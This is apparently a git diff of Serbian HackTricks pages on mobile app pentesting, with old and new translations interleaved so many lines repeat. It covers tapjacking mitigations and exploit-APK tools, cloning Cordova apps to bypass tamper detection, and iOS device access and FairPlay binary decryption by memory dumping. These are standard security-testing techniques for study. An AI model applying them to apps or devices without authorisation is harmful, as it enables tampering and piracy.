Atribut **`setFilterTouchesWhenObscured`** postavljen na true takođe može sprečiti iskorišćavanje ove ranjivosti ako je verzija Android-a niža.\
Ako je postavljeno na **`true`**, na primer, dugme može automatski biti **onemogućeno ako je zaklonjeno**:
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -54,42 +55,43 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
Najnoviju Android aplikaciju koja izvodi napad tapjacking (+ pozivanje pre izvozne aktivnosti napadnute aplikacije) možete pronaći na: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Najnovija **Android aplikacija** koja izvodi Tapjacking napad (+ pozivanje pre izvezene aktivnosti napadnute aplikacije) može se pronaći na: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Pratite **uputstva u README datoteci** kako biste je koristili.
Pratite **README uputstva za korišćenje**.
### FloatingWindowApp
Primer projekta koji implementira **FloatingWindowApp**, koji se može koristiti da se postavi preko drugih aktivnosti kako bi se izveo napad klikjacking, možete pronaći na [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (malo zastareo, srećno sa izgradnjom apk datoteke).
Primer projekta koji implementira **FloatingWindowApp**, koji se može koristiti za postavljanje iznad drugih aktivnosti radi izvođenja clickjacking napada, može se pronaći u [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (malo staro, srećno sa izradom apk).
### Qark
{% hint style="danger" %}
Izgleda da ovaj projekat više nije održavan i ova funkcionalnost više ne radi ispravno
Izgleda da ovaj projekat sada nije održavan i ova funkcionalnost više ne radi ispravno
{% endhint %}
Možete koristiti [**qark**](https://github.com/linkedin/qark) sa parametrima `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` da biste kreirali zlonamernu aplikaciju za testiranje mogućih ranjivosti na **Tapjacking**.
Možete koristiti [**qark**](https://github.com/linkedin/qark) sa `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametrima da kreirate zloćudnu aplikaciju za testiranje mogućih **Tapjacking** ranjivosti.\
Otklanjanje problema je relativno jednostavno jer programer može odlučiti da ne prima događaje dodira kada je prikazan drugi prikaz preko njega. Koristeći [Android Developers Reference](https://developer.android.com/reference/android/view/View#security):
Mitracija je relativno jednostavna jer programer može odlučiti da ne prima dodirne događaje kada je prikaz pokriven drugim. Koristeći [Android Developers Reference](https://developer.android.com/reference/android/view/View#security):
> Ponekad je esencijalno da aplikacija može da potvrdi da se akcija izvršava uz punu saglasnost i znanje korisnika, kao što je odobravanje zahteva za dozvolu, obavljanje kupovine ili klikanje na oglas. Nažalost, zlonamerna aplikacija može pokušati da prevari korisnika da izvrši ove akcije, nesvestan, sakrivajući namenu prikaza. Kao lek, okvir nudi mehanizam filtriranja dodira koji se može koristiti za poboljšanje sigurnosti prikaza koji omogućavaju pristup osetljivoj funkcionalnosti.
> Ponekad je od suštinskog značaja da aplikacija može da verifikuje da se akcija vrši uz puno znanje i pristanak korisnika, kao što je odobravanje zahteva za dozvolu, kupovina ili klik na oglas. Nažalost, zloćudna aplikacija bi mogla pokušati da prevari korisnika da izvrši ove akcije, nesvesno, prikrivajući namenu prikaza. Kao rešenje, okvir nudi mehanizam filtriranja dodira koji se može koristiti za poboljšanje bezbednosti prikaza koji pružaju pristup osetljivoj funkcionalnosti.
>
> Da biste omogućili filtriranje dodira, pozovite [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ili postavite android:filterTouchesWhenObscured atribut rasporeda na true. Kada je omogućeno, okvir će odbaciti dodire koji su primljeni kada je prozor prikaza zasenčen drugim vidljivim prozorom. Kao rezultat, prikaz neće primati dodire kada se pojavljuje tost, dijalog ili drugi prozor iznad prozora prikaza.
> Da biste omogućili filtriranje dodira, pozovite [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ili postavite android:filterTouchesWhenObscured atribut rasporeda na true. Kada je omogućeno, okvir će odbaciti dodire koji se primaju kada je prozor prikaza zaklonjen drugim vidljivim prozorom. Kao rezultat, prikaz neće primati dodire kada se iznad prozora prikaza pojavi toast, dijalog ili drugi prozor.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Cordova Aplikacije
# Cordova Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Za dalje detalje pogledajte [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Ovo je sažetak:
**Za više detalja pogledajte [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Ovo je sažetak:
Apache Cordova je prepoznat po omogućavanju razvoja **hibridnih aplikacija** koristeći **JavaScript, HTML i CSS**. Omogućava kreiranje Android i iOS aplikacija; međutim, nedostaje mu podrazumevani mehanizam za zaštitu izvornog koda aplikacije. Za razliku od React Native-a, Cordova ne kompajlira izvorni kod podrazumevano, što može dovesti do ranjivosti izmenjivanja koda. Cordova koristi WebView za prikazivanje aplikacija, izlažući HTML i JavaScript kod čak i nakon što su kompajlirani u APK ili IPA fajlove. Sa druge strane, React Native koristi JavaScript VM za izvršavanje JavaScript koda, pružajući bolju zaštitu izvornog koda.
Apache Cordova je prepoznat kao alat za razvoj **hibridnih aplikacija** koristeći **JavaScript, HTML i CSS**. Omogućava kreiranje Android i iOS aplikacija; međutim, nema podrazumevani mehanizam za zaštitu izvornog koda aplikacije. Za razliku od React Native, Cordova ne kompajlira izvorni kod podrazumevano, što može dovesti do ranjivosti u vezi sa izmenom koda. Cordova koristi WebView za prikazivanje aplikacija, izlažući HTML i JavaScript kod čak i nakon što su kompajlirani u APK ili IPA datoteke. React Native, s druge strane, koristi JavaScript VM za izvršavanje JavaScript koda, nudeći bolju zaštitu izvornog koda.
### Kloniranje Cordova Aplikacije
Pre kloniranja Cordova aplikacije, proverite da li je NodeJS instaliran zajedno sa ostalim preduslovima kao što su Android SDK, Java JDK i Gradle. Zvanična Cordova [dokumentacija](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) pruža sveobuhvatan vodič za ove instalacije.
Pre nego što klonirate Cordova aplikaciju, osigurajte da je NodeJS instaliran zajedno sa drugim potrebnim alatima kao što su Android SDK, Java JDK i Gradle. Zvanična Cordova [dokumentacija](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) pruža sveobuhvatan vodič za ove instalacije.
Uzmimo za primer aplikaciju nazvanu `Bank.apk` sa paket imenom `com.android.bank`. Da biste pristupili izvornom kodu, raspakujte `bank.apk` i navigirajte do foldera `bank/assets/www`. Ovaj folder sadrži kompletni izvorni kod aplikacije, uključujući HTML i JS fajlove. Konfiguracija aplikacije se može pronaći u `bank/res/xml/config.xml`.
Razmotrite primer aplikacije pod nazivom `Bank.apk` sa paketnim imenom `com.android.bank`. Da biste pristupili izvoru, raspakujte `bank.apk` i idite u folder `bank/assets/www`. Ovaj folder sadrži kompletan izvorni kod aplikacije, uključujući HTML i JS datoteke. Konfiguracija aplikacije može se naći u `bank/res/xml/config.xml`.
Da biste klonirali aplikaciju, pratite ove korake:
```bash
@ -32,21 +33,21 @@ cd bank-new
```
Kopirajte sadržaj `bank/assets/www` u `bank-new/www`, isključujući `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` i direktorijum `plugins/`.
Prilikom kreiranja novog Cordova projekta, navedite platformu (Android ili iOS). Za kloniranje Android aplikacije, dodajte Android platformu. Imajte na umu da su verzije platforme Cordova i nivoi Android API-ja različiti. Za detalje o verzijama platforme i podržanim Android API-jima, pogledajte Cordova [dokumentaciju](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/).
Navedite platformu (Android ili iOS) prilikom kreiranja novog Cordova projekta. Za kloniranje Android aplikacije, dodajte Android platformu. Imajte na umu da su verzije platformi Cordova i Android API nivoi različiti. Pogledajte Cordova [dokumentaciju](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) za detalje o verzijama platformi i podržanim Android API-ima.
Da biste odredili odgovarajuću verziju Cordova Android platforme, proverite `PLATFORM_VERSION_BUILD_LABEL` u `cordova.js` fajlu originalne aplikacije.
Da biste odredili odgovarajuću verziju Cordova Android platforme, proverite `PLATFORM_VERSION_BUILD_LABEL` u originalnom `cordova.js` fajlu aplikacije.
Nakon podešavanja platforme, instalirajte potrebne dodatke. Fajl `bank/assets/www/cordova_plugins.js` originalne aplikacije navodi sve dodatke i njihove verzije. Instalirajte svaki dodatak pojedinačno kako je prikazano ispod:
Nakon postavljanja platforme, instalirajte potrebne plugine. Originalni `bank/assets/www/cordova_plugins.js` fajl aplikacije navodi sve plugine i njihove verzije. Instalirajte svaki plugin pojedinačno kao što je prikazano u nastavku:
```bash
cd bank-new
cordova plugin add cordova-plugin-dialogs@2.0.1
```
Ako plugin nije dostupan na npm-u, može se preuzeti sa GitHub-a:
Ako dodatak nije dostupan na npm, može se preuzeti sa GitHub-a:
```bash
cd bank-new
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
```
Proverite da su ispunjeni svi preduslovi pre kompajliranja:
Osigurajte da su svi preduslovi ispunjeni pre nego što započnete kompajliranje:
```bash
cd bank-new
cordova requirements
@ -56,22 +57,23 @@ Da biste izgradili APK, koristite sledeću komandu:
cd bank-new
cordova build android — packageType=apk
```
Ova komanda generiše APK sa omogućenom opcijom za debagovanje, olakšavajući debagovanje putem Google Chrome-a. Ključno je potpisati APK pre instalacije, posebno ako aplikacija uključuje mehanizme za otkrivanje manipulacije kodom.
Ova komanda generiše APK sa omogućenom debug opcijom, olakšavajući debagovanje putem Google Chrome-a. Ključno je potpisati APK pre instalacije, posebno ako aplikacija uključuje mehanizme za detekciju manipulacije kodom.
### Alat za automatizaciju
Za one koji žele automatizovati proces kloniranja, preporučeni alat je **[MobSecco](https://github.com/Anof-cyber/MobSecco)**. On pojednostavljuje proces kloniranja Android aplikacija, olakšavajući korake opisane gore.
Za one koji žele da automatizuju proces kloniranja, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** je preporučeni alat. On pojednostavljuje kloniranje Android aplikacija, olakšavajući korake opisane iznad.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite videti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu**, pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,139 +1,140 @@
# Osnovne operacije testiranja iOS-a
# iOS Osnovne Operacije Testiranja
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Red Team Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
## **Sažetak identifikacije i pristupa iOS uređaju**
## **Sažetak Identifikacije i Pristupa iOS Uređaju**
### **Identifikacija UDID-a iOS uređaja**
### **Identifikacija UDID-a iOS Uređaja**
Za jedinstvenu identifikaciju iOS uređaja koristi se 40-cifreni niz poznat kao UDID. Na macOS Catalina ili novijim verzijama, to se može pronaći u aplikaciji **Finder**, jer iTunes više nije prisutan. Uređaj, jednom povezan preko USB-a i izabran u Finder-u, otkriva svoj UDID među ostalim informacijama kada se klikne na detalje ispod njegovog imena.
Da bi se jedinstveno identifikovao iOS uređaj, koristi se 40-cifreni niz poznat kao UDID. Na macOS Catalina ili novijim verzijama, ovo se može pronaći u **Finder aplikaciji**, pošto iTunes više nije prisutan. Uređaj, kada je povezan putem USB-a i odabran u Finder-u, otkriva svoj UDID među ostalim informacijama kada se klikne na detalje ispod njegovog imena.
Za verzije macOS-a pre Cataline, iTunes omogućava otkrivanje UDID-a. Detaljne instrukcije mogu se pronaći [ovde](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
Za verzije macOS-a pre Cataline, iTunes olakšava otkrivanje UDID-a. Detaljna uputstva možete pronaći [ovde](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
Alati komandne linije nude alternativne metode za dobijanje UDID-a:
Alati komandne linije nude alternativne metode za preuzimanje UDID-a:
* **Korišćenje alata I/O Registry Explorer `ioreg`:**
* **Korišćenje I/O Registry Explorer alata `ioreg`:**
```bash
$ ioreg -p IOUSB -l | grep "USB Serial"
```
* **Korišćenje `ideviceinstaller` alata za macOS (i Linux):**
* **Korišćenje `ideviceinstaller` za macOS (i Linux):**
```bash
$ brew install ideviceinstaller
$ idevice_id -l
```
* **Korišćenje `system_profiler` alata:**
* **Korišćenje `system_profiler`:**
```bash
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
```
* **Korišćenje `instruments` alata za listanje uređaja:**
* **Korišćenje `instruments` za listanje uređaja:**
```bash
$ instruments -s devices
```
### **Pristupanje Shell uređaju**
### **Pristupanje Shell-u Uređaja**
**SSH pristup** je omogućen instaliranjem **OpenSSH paketa** nakon jailbreak-a, što omogućava konekcije putem `ssh root@<device_ip_address>`. Važno je promeniti podrazumevane lozinke (`alpine`) za korisnike `root` i `mobile` kako bi se osigurao uređaj.
**SSH pristup** se omogućava instalacijom **OpenSSH paketa** nakon jailbreak-a, što omogućava veze putem `ssh root@<device_ip_address>`. Ključno je promeniti podrazumevane lozinke (`alpine`) za korisnike `root` i `mobile` kako bi se osigurao uređaj.
**SSH preko USB-a** postaje neophodan u slučaju nedostatka Wi-Fi mreže, koristeći `iproxy` za mapiranje portova uređaja za SSH konekcije. Ova postavka omogućava SSH pristup preko USB-a pokretanjem:
**SSH preko USB-a** postaje neophodan u odsustvu Wi-Fi-a, koristeći `iproxy` za mapiranje portova uređaja za SSH veze. Ova konfiguracija omogućava SSH pristup putem USB-a pokretanjem:
```bash
$ iproxy 2222 22
$ ssh -p 2222 root@localhost
```
### **Aplikacije za pristup uređaju**, poput NewTerm 2, olakšavaju direktnu interakciju sa uređajem, posebno korisno za rešavanje problema. **Obrnuti SSH školjke** takođe se mogu uspostaviti za daljinski pristup sa računara domaćina.
**Aplikacije za shell na uređaju**, poput NewTerm 2, olakšavaju direktnu interakciju sa uređajem, što je posebno korisno za rešavanje problema. **Reverse SSH shell-ovi** se takođe mogu uspostaviti za daljinski pristup sa host računara.
### **Resetovanje zaboravljenih lozinki**
### **Resetovanje Zaboravljenih Lozinki**
Da biste resetovali zaboravljenu lozinku na podrazumevanu (`alpine`), neophodno je izmeniti datoteku `/private/etc/master.passwd`. To uključuje zamenu postojećeg heša sa hešom za `alpine` pored unosa korisnika `root` i `mobile`.
Da biste resetovali zaboravljenu lozinku na podrazumevanu (`alpine`), potrebno je urediti datoteku `/private/etc/master.passwd`. To uključuje zamenu postojećeg heša sa hešem za `alpine` pored unosa korisnika `root` i `mobile`.
## **Tehnike prenosa podataka**
## **Tehnike Prenosa Podataka**
### **Prenos datoteka aplikacije**
### **Prenos Datoteka Aplikacija**
**Arhiviranje i preuzimanje putem SSH i SCP:** Jednostavno je arhivirati direktorijum podataka aplikacije koristeći `tar`, a zatim ga preneti koristeći `scp`. Komanda ispod arhivira direktorijum podataka u .tgz datoteku, koja se zatim preuzima sa uređaja:
**Arhiviranje i Preuzimanje putem SSH i SCP:** Jednostavno je arhivirati direktorijum podataka aplikacije koristeći `tar` i zatim ga preneti koristeći `scp`. Komanda ispod arhivira direktorijum podataka u .tgz datoteku, koja se zatim preuzima sa uređaja:
```bash
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
exit
scp -P 2222 root@localhost:/tmp/data.tgz .
```
### **Grafički alati sa korisničkim interfejsom**
### **Graphical User Interface Tools**
**Korišćenje iFunbox-a i iExplorer-a:** Ovi grafički alati su korisni za upravljanje fajlovima na iOS uređajima. Međutim, počevši od iOS 8.4, Apple je ograničio pristup ovim alatima do aplikacionog sandbox-a, osim ako je uređaj jailbroken.
**Using iFunbox and iExplorer:** Ovi GUI alati su korisni za upravljanje datotekama na iOS uređajima. Međutim, počevši od iOS 8.4, Apple je ograničio pristup ovim alatima aplikacionom sandbox-u osim ako uređaj nije jailbreak-ovan.
### **Korišćenje Objection-a za upravljanje fajlovima**
### **Using Objection for File Management**
**Interaktivna komandna linija sa Objection-om:** Pokretanje Objection-a omogućava pristup Bundle direktorijumu aplikacije. Odavde možete navigirati do Documents direktorijuma aplikacije i upravljati fajlovima, uključujući njihovo preuzimanje i otpremanje sa iOS uređaja.
**Interactive Shell with Objection:** Pokretanje objection-a omogućava pristup Bundle direktorijumu aplikacije. Odatle možete navigirati do direktorijuma Documents aplikacije i upravljati datotekama, uključujući preuzimanje i otpremanje njih na i sa iOS uređaja.
```bash
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
file download <filename>
```
## **Dobijanje i izdvajanje aplikacija**
## **Dobijanje i Ekstrakcija Aplikacija**
### **Dobijanje IPA fajla**
### **Sticanje IPA Fajla**
**Veza za distribuciju preko mreže (OTA):** Aplikacije distribuirane za testiranje putem OTA mogu se preuzeti koristeći alat za preuzimanje ITMS usluga, koji se instalira putem npm-a i koristi se za lokalno čuvanje IPA fajla.
**Over-The-Air (OTA) Distribucioni Link:** Aplikacije distribuirane za testiranje putem OTA mogu se preuzeti koristeći ITMS usluge alat za preuzimanje sredstava, koji se instalira putem npm i koristi za čuvanje IPA fajla lokalno.
```bash
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
```
### **Izdvajanje binarnog koda aplikacije**
### **Ekstrakcija binarnog fajla aplikacije**
1. **Iz IPA datoteke:** Dekompresirajte IPA datoteku kako biste pristupili dešifrovanom binarnom kodu aplikacije.
2. **Sa Jailbroken uređaja:** Instalirajte aplikaciju i izvucite dešifrovanu binarnu datoteku iz memorije.
1. **Iz IPA:** Raspakujte IPA da biste pristupili dekriptovanom binarnom fajlu aplikacije.
2. **Sa Jailbroken uređaja:** Instalirajte aplikaciju i ekstraktujte dekriptovani binarni fajl iz memorije.
### **Proces dešifrovanja**
### **Proces dekripcije**
**Pregled ručnog dešifrovanja:** Binarni kod iOS aplikacija je enkriptovan od strane Apple-a koristeći FairPlay. Da biste izvršili reverzno inženjerstvo, morate izvući dešifrovanu binarnu datoteku iz memorije. Proces dešifrovanja uključuje proveru PIE zastavice, podešavanje zastavica memorije, identifikaciju enkriptovane sekcije, a zatim izvlačenje i zamenu ove sekcije sa njenom dešifrovanom formom.
**Pregled ručne dekripcije:** iOS binarni fajlovi aplikacija su enkriptovani od strane Apple-a koristeći FairPlay. Da bi se izvršila obrnuta inženjering, potrebno je dumpovati dekriptovani binarni fajl iz memorije. Proces dekripcije uključuje proveru PIE zastavice, prilagođavanje memorijskih zastavica, identifikaciju enkriptovanog dela, a zatim dumpovanje i zamenu ovog dela sa njegovom dekriptovanom verzijom.
**Provera i izmena PIE zastavice:**
**Proveravanje i modifikovanje PIE zastavice:**
```bash
otool -Vh Original_App
python change_macho_flags.py --no-pie Original_App
otool -Vh Hello_World
```
**Identifikacija šifrovane sekcije i ispuštanje memorije:**
**Identifying Encrypted Section and Dumping Memory:**
Koristite `otool` da odredite početnu i krajnju adresu šifrovane sekcije, a zatim koristite gdb da ispuštate memoriju sa jailbroken uređaja.
Odredite početne i završne adrese enkriptovane sekcije koristeći `otool` i ispraznite memoriju sa jailbroken uređaja koristeći gdb.
```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
dump memory dump.bin 0x8000 0x10a4000
```
**Prepisivanje šifrovanog dela:**
**Prepisivanje Enkriptovanog Odeljka:**
Zamenite šifrovanu sekciju u originalnom binarnom fajlu aplikacije sa dešifrovanim dumpom.
Zamenite enkriptovani odeljak u originalnom binarnom fajlu aplikacije sa dekriptovanim dump-om.
```bash
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
```
**Završavanje Dekripcije:** Izmenite metapodatke binarnog fajla kako biste naznačili odsustvo enkripcije koristeći alate poput **MachOView**, postavljajući `cryptid` na 0.
**Finalizacija dekripcije:** Izmenite metapodatke binarnog fajla da označite odsustvo enkripcije koristeći alate kao što je **MachOView**, postavljajući `cryptid` na 0.
### **Dekripcija (Automatski)**
#### **frida-ios-dump**
Alat [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) se koristi za **automatsko dekriptovanje i izdvajanje aplikacija** sa iOS uređaja. Prvo, treba konfigurisati `dump.py` da se poveže sa iOS uređajem, što se može uraditi preko localhost-a na portu 2222 putem **iproxy**-ja ili direktno putem IP adrese uređaja i porta.
Alat [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) se koristi za **automatsko dekriptovanje i ekstrakciju aplikacija** sa iOS uređaja. Prvo, potrebno je konfigurisati `dump.py` da se poveže sa iOS uređajem, što se može uraditi preko localhost-a na portu 2222 putem **iproxy** ili direktno putem IP adrese uređaja i porta.
Instalirane aplikacije na uređaju mogu se prikazati komandom:
Aplikacije instalirane na uređaju mogu se nabrojati komandom:
```bash
$ python dump.py -l
```
Da biste izvršili dump određene aplikacije, kao što je Telegram, koristite sledeću komandu:
